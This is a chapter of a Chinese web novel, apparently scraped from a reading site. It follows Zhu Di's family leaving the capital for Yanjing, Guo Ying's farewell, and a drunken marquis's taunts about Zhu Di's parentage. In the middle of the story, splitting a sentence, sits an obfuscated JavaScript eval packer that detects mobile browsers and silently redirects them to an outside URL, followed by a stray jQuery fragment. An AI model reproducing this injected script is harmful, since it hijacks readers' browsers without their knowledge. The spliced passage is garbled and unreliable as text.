19.第 19 章

作品:《穿越洪武,我是大明胖胖

    金戈铁马,气吞万里势如虎。


    朱高炽趴在马车窗边,撅着屁股伸着脑袋望着前方大军行进,颇有点儿热血沸腾。


    朝后看,亲友百姓等等乌泱泱送行的人踮脚眺望,依依不舍地逐渐散去,包括徐家的舅舅姨姨们。


    他前后仔细打量,燕王府的仪仗队马车队伍紧跟大军尾巴。


    王府侍卫护佑在娘这辆马车两边,老爹骑马在右边,看见他伸脑袋就伸手给按回去。


    再后面就是一些要出门的人家庭队伍,或者商人队伍。


    突然前后一阵骚动,不管有人高喊:“要出京师了,大军加速了,全部加速。”


    大军速度快,为了不被落下,也怕自己慢导致后面马车队伍拥堵,所有尾随之人全部命令马车加快速度,有条不紊地跟着大军。


    朱棣调转马匹方向,靠近马车窗户。他昨夜一夜没睡,眼里布满红血丝,但精神尚好,掀起马车帘子轻声唤道:“王妃,我刚下令加快速度,马车里会颠簸。”


    “王爷,我知道了。”徐妙云回答一声。


    马车里,徐妙云扶着朱玉英躺好。


    白天不是睡觉时间,而且马车走得快颠簸。但是昨天夜里一家人打包一夜有点动静,朱玉英没睡好,人看着没有精神。


    徐妙云给她盖好被子,自己揉揉太阳穴强打精神,一抬眼看见马车窗边,儿子的脑袋越伸越远,被王爷一巴掌给按回来,不由一笑,伸胳膊抱回来胖儿子。


    “高炽,脑袋伸出去马车很危险,马匹会惊动会跑动,而且外头灰尘多。”


    朱高炽明白,这就好像开车不能伸脑袋伸手一样的道理。可他依旧向往地说道:“娘!大军!很多人!”


    朱高炽目光炯炯。


    徐妙云“噗嗤”一声笑出来:“你没见过大军。你姥爷现在没时间见我们,等忙过这几天,你就能见到你姥爷、大军里的人。”


    “走亲戚搬家或者商人队伍出门,危险很多,跟着大军借着大军威势获得保护。”


    顿了顿,伤感道:“家人担心不舍,天不亮起来送行。”


    朱高炽知道,娘舍不得舅舅姨姨们。


    “弟弟……”朱玉英迷糊喊一声。


    “姐姐!”朱高炽转身看姐姐要睡着的样子,窝到娘的怀里打个哈欠。他昨夜也没睡够。


    徐妙云将他和朱玉英并排躺着,给盖好小被子,正在这时,外头有人隐约有声音:“燕王殿下!”


    徐妙云到窗边探头一看,原来是郭英骑马追了上来,立即抱过来朱高炽一起喊着:“郭叔叔!”“郭爷爷!”


    “哎!”“哎!”郭英大声答应着。


    朱棣策马走出队伍,郭英和朱棣在马上互相行礼。郭英手里举着一个信封递给朱棣,喘着粗气:“还好赶上了。燕王殿下,这是我和两位太医新研究的羹汤方子和药浴方子,你一个月后给小殿下用。用三个月再换。”


    “还有我写的练武心得,你自己看看,斟酌教导小殿下。”


    朱棣感动道:“郭叔叔,侄儿不知道怎么表达谢意。”


    郭英大咧咧浑不在意道:“这是小事,何须言谢?接着。”


    朱棣双手接过来,郑重道:“郭叔叔,此一别不知几年再见,请郭叔叔保重。”


    郭英点点头:“战事起来,我也快要出发了。燕王殿下,你也保重。我们都保重。”


    说着,调转马头。


    徐妙云和朱高炽连忙又喊一声:“郭叔叔!”“郭爷爷!”朱玉英也扒过来喊一声:“郭爷爷!”


    “哎!”“哎!”“哎!”郭英转头大声答应着,深深地看一眼大侄女徐妙云和朱玉英、朱高炽两个孩子,打马就走了。


    徐妙云目光不舍,朱高炽瘪瘪嘴,突然伤心地想哭,“哇”的一嗓子嚎啕出来。


    “郭爷爷!郭爷爷!”每次他都亲身体会,郭英给他梳理筋脉多辛苦多用心。


    郭英听见了,在马上的背影一僵,勒住缰绳停顿片刻,到底是没回头,一甩马鞭抽在马屁股上,很快跑得不见了。


    朱棣策马过来,安慰道:“王妃,郭叔叔不喜欢离别的氛围,不知该说什么。高炽,你郭爷爷关心你。王妃,你收着。高炽再用目前的方子一个月,换这个方子用三个月。”朱棣递上信封。


    徐妙云接过来,伤心道:“郭叔叔最怕离别,今天能亲自来送,可见多舍不得高炽。”虽然一个月后,洪武皇帝和马皇后会派人送方子,但这是郭英的心意,殊为难得。


    郭英最为了解高炽的身体情况,他和两位太医一起研究的,一定是最适合高炽的。


    而他们一家人这次离开,她只和娘家说一声,其他人谁也没说。一是太仓促,也是自家情况危险不想连累别人。郭英却还亲自追上来。


    朱棣抬手轻轻擦着儿子的眼泪,哄着:“战事再次起来,如果郭英被派来北方,你就能见到你郭爷爷了。”


    朱高炽重重点头。虽然他知道这可能性不大。历史上郭英去攻打云南。


    他伸头试图找郭英的身影,哪里还能找得到?泪眼朦胧地望着几个人追着大队伍哭着,被其他人拉着离开。


    一阵大风起来,前方的灰尘满天飞过来。徐妙云赶紧搂过两个孩子回马车里,再次躺好,盖上被子,将信件放在娘家人送来的小包袱里。


    小包袱里是娘家准备的银票首饰等等。


    她拿着手帕给胖儿子擦擦脸蛋儿的泪痕,哄着女儿继续打盹儿,一个人坐着陷入思考。


    洪武皇帝给王爷的,马皇后给自己的,加上娘家给的,这些银子加起来够胖儿子吃羹汤泡药浴两年,徐妙云感动于亲人的关心,心里也着急自家怎么赚银子。


    外头,朱棣也在思考。


    张武骑马过来,落后王爷半个马身,见王爷表情,以为王爷舍不得京师,安慰道:“王爷,说不定过两年我们就能回来京师。皇上说皇子去封地,也不一定是永远的。”


    朱棣笑一笑。


    怎么不可能是永远的?一开始父皇派二哥三哥先去封地,是试验,看看二哥三哥能不能当得住藩王。看看功勋朝臣们反应,叶伯巨等人领头反抗,现在还都在大牢里蹲着,蹲到死。


    现在二哥三哥等人坐稳藩王,朝里也没人再敢反抗,封藩制度已经确定了。


    而如果不是永远的封藩,那才是藩王们的灾难。过几年刚在封地站稳脚跟,如果被一句话调回京师,京师封地两头抓不到,什么人手势力也没有,真成鲇板上的鱼肉任人宰割了。


    朱棣在马上回头看一眼逐渐远去的京师城郭,想起自己带家人从凤阳回来京师时候的不安、意气风发、不甘心……一声苦笑。


    张武看见王爷的表情,不禁倔强地抿了抿唇。


    “王爷,属下相信,我们一定能回来京师。”王爷也是皇上的儿子,皇上凭什么就这样流放一样打发王爷去燕京。


    朱棣却一个冷眼:“有关朝局的这些话以后再也不许说。不光是你,告诫所有侍卫,学会闭嘴!”


    “属下遵令!”张武跟着燕王经历胡惟庸一案,也知道危险,此刻面容冷肃道:“王爷放心,俺们大老粗们都听王爷的,全部闭嘴。”


    朱棣点点头,望着随后的卫队队伍,面色凝重:“你看见朝廷派来的属官长史了吗?”


    “看见了。他们的马车在皇上派来的五千卫队后面,四个人都三四十岁,不情不愿还不敢抱怨的样子,和属下说话的时候很是清高。”


    “清高……很好。以后你们就捧着他们,让他们越来越清高。”


    “属下明白。”


    这些属官长史,名义上是协助藩王做事,其实是朝廷派来监视藩王们的动静。而这些属官长史乃是文人,大多出身南方,都想在京师位极人臣,哪个想去一个藩王的府上做事?而且是偏远混战的燕京?


    估计都想着勾结京师这边的人,争取早日调回京师。


    张武知道必须看住了这些人,随即又担心道:“王爷,我们这五千卫队,都是杂牌。”


    “本王已经想到了。”


    二哥三哥等兄弟们去封地,有两万卫队,有三万卫队,还是他们亲自挑选的好兵好将。


    但自己在京师得罪这么多勋贵文臣,走得仓促,一家人能活命就不错了,哪里还敢想什么其他的?而且,军中之人也大多知道燕王被皇上处罚,谁愿意跟去燕京?


    天不亮的时候,几位千户前来拜见。当时时间紧,也没说几句话。但看样子,这几人都是强装高兴。这只杂牌,可能也是不情不愿呢。


    他刚要说话,一个侍卫打马前来通报:“王爷,吉安侯前来请见,现在在队伍最后面。”


    “快请。”


    朱棣心神一凛。侍卫离开后,他嘱咐张武:“你带几个机灵的去观察打探,这五千人怎么被选中的,是不是得罪了谁。”


    “属下遵令。”


    张武调转马头,快速找来两个机灵侍卫,嘱咐他们做事。


    朱棣策马走到马车边,掀开车帘,看见女儿儿子躺在小床上迷糊打盹儿,王妃靠在马车壁上闭目养神,脸上露出几分温暖,轻轻放下车帘。


    掏出腰上的皮囊举着刚要喝口水,两个呼吸间,吉安侯陆仲亨打马追上来,大胡子脸张扬悍勇。


    两个人互相行礼,策马到一边


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197561|196471||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    无人处说话。


    陆仲亨一声冷笑:“燕王殿下,我跟着皇上南征北战,功劳比不上徐达,但咱面对谁都站得住。皇上因为咱用驿站马车,收回咱的爵位。恢复爵位后,又因为走私海贸罚了大笔银子,收回部分田庄,如今又被牵扯进胡惟庸一案。你很高兴吗?”


    朱棣冷着脸:“陆叔叔,侄儿何来高兴?侄儿希望陆叔叔报效父皇和朝廷,建功立业,将来封国公。”


    陆仲亨盯着他看了一会儿,龇牙道:“你叫咱一声陆叔叔。咱就告诉你一件事。你确实不应该高兴。你以为皇上让皇子当藩王领兵权,勋贵们倒下了,你们就得势了?将来你们和我们一样!”


    “既然咱们结局都一样,陆叔叔再告诉你一件事。众位皇子中,五皇子周王和殿下天然关系最好,殿下知道原因吗?听说皇上冷宫里住着两位妃嫔,其中一位曾经生下两位皇子。”


    朱棣脸色巨变:“胡言乱语!本王乃是母后的儿子!你找死!”


    “我好怕怕哦!”陆仲亨肆意大笑:“燕王殿下,你十一二岁就被扔去凤阳,一去四年。如今别的藩王在封地人钱充足乐逍遥,就你被皇上坑在京师得罪人,光杆儿去燕京。你就没怀疑过?你以为皇上查燕王妃早产之事为什么一直查不到真凶?因为他压根不在乎你这一脉死活!……”


    “住口!”朱棣大喝一声打断他的话,猛地拔出腰上匕首抵在他脖子上,强忍怒火杀气腾腾:“父皇母后对我情深意重!你再敢污蔑我父皇母后!我杀了你!”


    “呵呵!真凶也是看准了这一点才对你下手。你有本事你就动手!”陆仲亨瞪大眼睛咬牙切齿,“老子哼一声就不是汉子!”


    朱棣双眼赤红,理智和怒火在博弈。


    “燕王殿下!老陆!”随着几声高呼传来,延安侯唐胜宗、永嘉侯朱亮祖、费聚几个老勋贵骑马赶来,上前拉开他们两个。


    朱亮祖冷笑:“你说你喝了几口黄汤就跑过来发酒疯,燕王殿下可是皇上的儿子……”


    “你闭嘴!”唐胜宗瞪他一眼,生气道:“陆仲亨发酒疯了,你也发酒疯?老陆你怎么惹得燕王殿下这么大火气?快道歉!”


    “我呸!还让我道歉!”陆仲亨用力吐口唾沫,阴阳怪气地说道:“什么燕王殿下!阴毒奸……”


    费聚一把捂住他的嘴巴,尴尬地喊道:“燕王殿下莫怪,他喝醉了说胡话。”


    朱棣匕首入鞘,忍住火气冷着脸道:“诸位都是勋贵功臣。犯了错,惹得父皇生气,父皇发火过去就没事了,不会对叔叔们怎么样。但是请诸位叔叔们自重,不要断了自己拿命打拼来的前程。”


    “殿下说的是,说的是……”几个人连声答应着,硬拉着陆仲亨快速调转马头离开。


    *


    一家人跟着大军行进,中午歇息用饭的时候,朱棣外表正常,但是徐妙云、朱玉英、朱高炽作为家人,明显感觉朱棣不对劲。


    徐妙云温柔道:“王爷,我听说吉安侯来找你,出事了?”


    “没有。”朱棣摇头,给胖儿子喂饭的动作不停,口中回答:“吉安侯只是追上来发泄两句不甘。”


    “这些叔叔中,吉安侯最是性子暴躁,如果他说话不中听,请王爷别上心。”徐妙云眉目含忧,见他笑着答应,转身教导朱玉英用筷子,伸手给她擦拭脸上米糊渣。


    朱高炽专心吃饭之余听了一耳朵,吉安侯陆仲亨因为被罚了银子,追上来骂老爹?


    他咽下一口米糊,仔细观察老爹的表情。


    陆仲亨前来发泄两句应该是真的。但如果陆仲亨敢骂老爹,老爹的脾气一定和他对打,此刻应该是单纯的怒气,但老爹很像在掩饰真实情绪。


    *


    奉天殿,洪武皇帝正和皇太子朱标一起批复奏章。


    废除中书省丞相,琐碎政务都压在父子两个人身上,幸好两个人都身体好精力足,劳累但也能处理了。


    洪武皇帝随手扔了一个奏章,心烦道:“这些人都在弹劾仪鸾司。”


    一个侍卫进来禀告,吉安侯陆仲亨、延安侯唐胜宗、永嘉侯朱亮祖等人聚在一起喝酒,说到一些当年的事,陆仲亨骑马追上燕王说了几句话。猛地放下朱笔,挥挥手示意侍卫退下。


    朱标从奏章里抬头,安慰道:“父皇,你已经决定不追查吉安侯等人。他们也知道父皇仁慈,不会对他们动真格的,可能是追上四弟得意地宣泄两句。”


    “仁慈?”


    洪武皇帝撇撇嘴。


    “老大,咱不仁慈。咱告诉过你,不能仁慈。你有机会见到他们,告诉他们,谁敢在老四面前满嘴喷粪,说当年的事,咱要谁的脑袋!”